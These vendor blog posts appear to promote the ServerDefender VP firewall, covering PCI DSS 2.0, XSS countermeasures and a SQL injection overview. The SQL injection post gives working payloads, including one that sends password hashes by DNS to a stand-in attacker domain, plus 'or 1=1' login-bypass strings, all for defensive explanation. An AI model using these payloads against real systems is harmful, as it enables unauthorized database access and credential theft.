Preparing for New PCI Standards

According to CSP Daily News the PCI Security Standards Council has just introduced the plan for Version 2.0 of its PCI standards which are due to take effect in October of 2010.

Version 2.0 of PCI DSS and PA-DSS do not introduce any new major requirements. Key updates, clarifications and guidance include:

• Reinforcement of need for thorough scoping exercise prior to PCI DSS assessment in order to understand where cardholder data resides.
• Support for centralized logging included in PA-DSS to promote more effective log management.
• Validation, within certain requirements, of risk-based approach for addressing vulnerabilities, allowing organizations to consider their specific business circumstances and tolerance to risk when assessing and prioritizing vulnerabilities.
• Greater alignment between PCI DSS and PA-DSS to facilitate stronger security practices.

“The relatively minor revisions are a testament to the maturity of the standards and their ability to protect sensitive card data,” said Bob Russo, general manager, PCI Security Standards Council. “With the changes to the PCI DSS and PA-DSS outlined in advance, organizations will be better prepared to align their security programs with the updated standards and ensure security of their cardholder data.”

Ensure that you are complying to all current and future PCI standards by having an effective Web Application Firewall in place,  such as ServerDefender VP; an important part of an organizations overall Web security plan. To find out more information on how ServerDefender VP can help you with your Windows Server security strategy, visit our ServerDefender VP product page.

/P80

Security Checklists for IIS

Database Engine Security Checklists:

• Limiting Access to Data
• Enhancing the Security of Database Engine Connections
• Database Engine Security Configuration
• Limiting Access to Data
• Encrypting Sensitive Data

Don’t Let XSS Fake Out your Traffic

and Damage your Good Name

A Cross-Site Scripting (XSS) Overview

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. XSS essentially compromises the trust relationship between a user and the Web site. As of 2007 XSS carried out on web sites was responsible for roughly 80% of all Internet security vulnerabilities as documented by Symantec.

The potential impact of a successful XSS attack may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site’s owner.

Since XSS is merely a tactic, it can be used for a wide variety of malicious purposes, for example it can be used to:

• Steal cookies and hi-jack sessions
• Execute unintended Web site functionality
• Harass users with malicious code
• Alter any portion of the Web page
• Deface or DoS the website
• Violate the same-origin policy
• Aid in phishing scams

XSS is an indirect way for an attacker to fool your Web site visitors into revealing personal information or to exploit a secondary vulnerability on their desktop browser or within your Web site’s server. For example, XSS allows malicious users to hijack your users Web-based e-mail accounts, manipulate the customer settings on your Web site, or steal information sent in cookies, which may include your visitor’s bank account, credit card, or social security number.

The Web Application Security Consortium provides some very good examples of XSS attack types, including a useful classification of them into persistent, and non-persistent, and DOM-based attacks.

Assuming you cannot force your users to turn off client side scripting (and that maybe you would like to continue making use of it yourself), then you need to be aware of the various countermeasures for combating XSS.  Here are the most common ones:

Input Validation

Input validation, also referred to as HTML sanitization, is a standard way of eliminating XSS vulnerabilities.  This involves not trusting any user input until it has been subjected to some sort of test to make sure it does not contain any possible XSS exploits. Requests with undesirable characters in input fields might be rejected completely, or else the offending characters might stripped and/or replaced with alternative representations that cannot result in successful XSS attacks.  Such validation may be done using either a blacklist or whitelist approach, or some combination of both.

A blacklist (or negative security model) refers to a mechanism that allows all imputed characters as valid user input, except for those that are singled out (blacklisted) as being dangerous to the application.  Very simple anti-XSS blacklists often contain a small set of characters thought essential carrying out XSS attacks such as (PROVIDE EXAMPLES).  The blacklist approach has the advantage of being relatively easy to set up and maintain (often one list is used for all input fields).  But by the same token it is also relatively easy to evade with more sophisticated forms of XSS.

The whitelist (or positive security model) approach to input validation takes the opposite tack.  Rather than specifying which characters are not allowed, it allows no characters by default, except those that are known to be safe for the application (whitelisted). An example of this could be that a field in a form meant to receive U.S. social security numbers only allows four numeric characters separated by two dashes.  The benefit of a whitelist approach is that it is far harder to evade than a blacklist.  The trade-off is that implementing and maintaining a strict whitelist is generally far more difficult to do, since the appropriate list of allowed characters tends to vary with the type of field, and matching the correct list to the correct field requires up-to-date knowledge of the application’s details.

Output Escaping / Encoding

“Escaping” is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter’s parser. Escaping is the primary means to make sure that untrusted data can’t be used to convey an injection attack. There is no harm in escaping data properly - it will still render in the browser properly. Escaping simply lets the interpreter know that the data is not intended to be executed, and therefore prevents attacks from working.

Cookie security

Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie. This approach can have serious drawbacks however due to the fact that many IP addresses cycle through an array of variable combinations do to proxy servers and load balancing. Another tactic is to expire unused session cookies.

Software

Web Application Firewalls (WAF) provide a valuable means of supplementing your Web security efforts. Along with well written code and input validation / sanitation, WAFs are another line of defense to ensure that your Web server is not a victim of a malicious attack and that your company can prove its PCI compliance as well.

Port80’s ServerDefender VP Web Application Firewall software blocks XSS attacks often used in conjunction with phishing, social engineering, and other browser exploits, ultimately preventing malicious HTML or client-side scripts from being injected into Web pages viewed by others.

In Conclusion

Protecting your Web site, and subsequently your visitors, against XSS and other Internet based attacks, is important for not only securing your valuable database information, but also for making sure that your organization can be seen as a trusted and responsible player in the Internet market.

/ P80

From Blind to Targeted Attacks

A SQL Injection overview

A SQL injection attack exploits the fact that in a typical dynamic Web site or application layer (ie. ASP.NET, PHP, etc) ultimately has access to a database layer. By using the application’s own code to get at the database, SQL injection attacks can do almost unlimited mischief: steal or corrupt sensitive data, host malware on the site, damage or even seize control of the entire application. This article provides a short overview of SQL injection and how it can be damaging to your Web applications.

There are two ways an attacker can identify SQL injection vulnerabilities:

Error messages: The first method used to identify and exploit SQL injection is through information provided by errors generated by the Web application during initial probing. These HTTP 500-range errors if not suppressed will often include the text of the offending SQL statement and/or the details of why it failed to execute properly. Such information is very helpful when crafting progressively more effective exploits because it helps the attacker discern database schema and other valuable clues about how the app is put together.

Blind Injection: Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

SQL injection is broken up into 3 classes: 

Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page

 Example:

 Input:
http://[site]/page.asp?id=1 or 1=convert(int,(USER))–

 Output:
Syntax error converting the nvarchar value ‘[j0e]‘ to a column of data type int.

Out-of-band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)

Example: 

http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + ‘-’ +master.sys.fn_varbintohexstr(password_hash) + ‘.2.pwn3dbyj0e.com’ fromsys.sql_logins; exec(’xp_fileexist ”\\’ + @host + ‘\c$\boot.ini”’);–

Inferential - no actual data is transferred - rather, a difference in the way an application behaves can allow an attacker to infer the value of the data. 

Example: 

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+’sa’+waitfor+delay+’0:0:5′–

            (ask it if it’s running as ’sa’) 

*source - http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf

SQL Injection attacks put you at great risk for: 

• Unauthorized changes or deletion of sensitive business information
• Theft of customer information (ie social security numbers, addresses, and credit card numbers)
• Financial and Intellectual property loss
• Legal liability and PCI non-compliance

How to test if your Web site is vulnerable to attack 

One of the simplest ways, among many, to test your Web site would be to input a break into the underlying code and insert a SQL expression that evaluates to True into the login or password form fields, or URL. 

Example: 

• Login: hi’ or 1=1–  /  Password: hi’ or 1=1–
  (hi’) breaks in the string (1=1) injection code (–) comment
• http://mysite/index.asp?id=hi’ or 1=1–
  In the query string of a request that looks like it is passing parameters back to the database

This is just the tip of the iceberg, for more robust testing procedures OWASP provides an extensive guide at:

http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)

How to protect your Web server 

There are a number of possible countermeasures these include: 

• using a list of acceptable characters to constrain input
• using parameterized SQL for data access
• using a least privileged account that has restricted permissions in the database
• using stored procedures with parameterized SQL
  (recommended approach because SQL parameters are type safe) 

A complete step-by-step guide to protecting against SQL injection can be found at:

http://msdn.microsoft.com/en-us/library/ff648339.aspx

All of the above countermeasures may require changes to existing code as well as careful maintenance to make sure best practices are being followed.  This might not always be practical and, even when it is, might not catch every vulnerabilty. A Web Application Firewall, such as Port80’s ServerDefender VP, can protect your database by scrutinizing incoming data and applying a set of strict Web application security controls. An effective Web Application Firewall becomes the gatekeeper to your Web application so you can rest assured that hackers cannot gain entry and wreak havoc with your most valuable Web-based assets. 

/ P80

The Windows Server 2008 Security Compliance Manager

A new helpful free tool from Microsoft, the Security Compliance Manager provides an end-to-end solution to help plan, deploy, and monitor the security baselines of computers running Windows Server 2008.

The Security Compliance Manager provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organization’s ability to efficiently manage the security and compliance process for the most widely used Microsoft technologies.

This tool allows you to access the complete database of Microsoft recommended security settings, customize your baselines, and then choose from multiple formats-including Desired Configuration Management (DCM) packs, Security Content Automation Protocol (SCAP), XLS, or Group Policy objects (GPOs)-to export the baselines to your environment and automate the security baseline compliance verification process.

Combining use of a professional Web Application Firewall with the Security Compliance Manager will enable you to achieve a secure, reliable, and centralized IT environment that will help you better balance your organization’s needs for security and functionality.

To get more information about downloading a copy of the Security Compliance Manager visit Microsoft’s TechNet site.

/ P80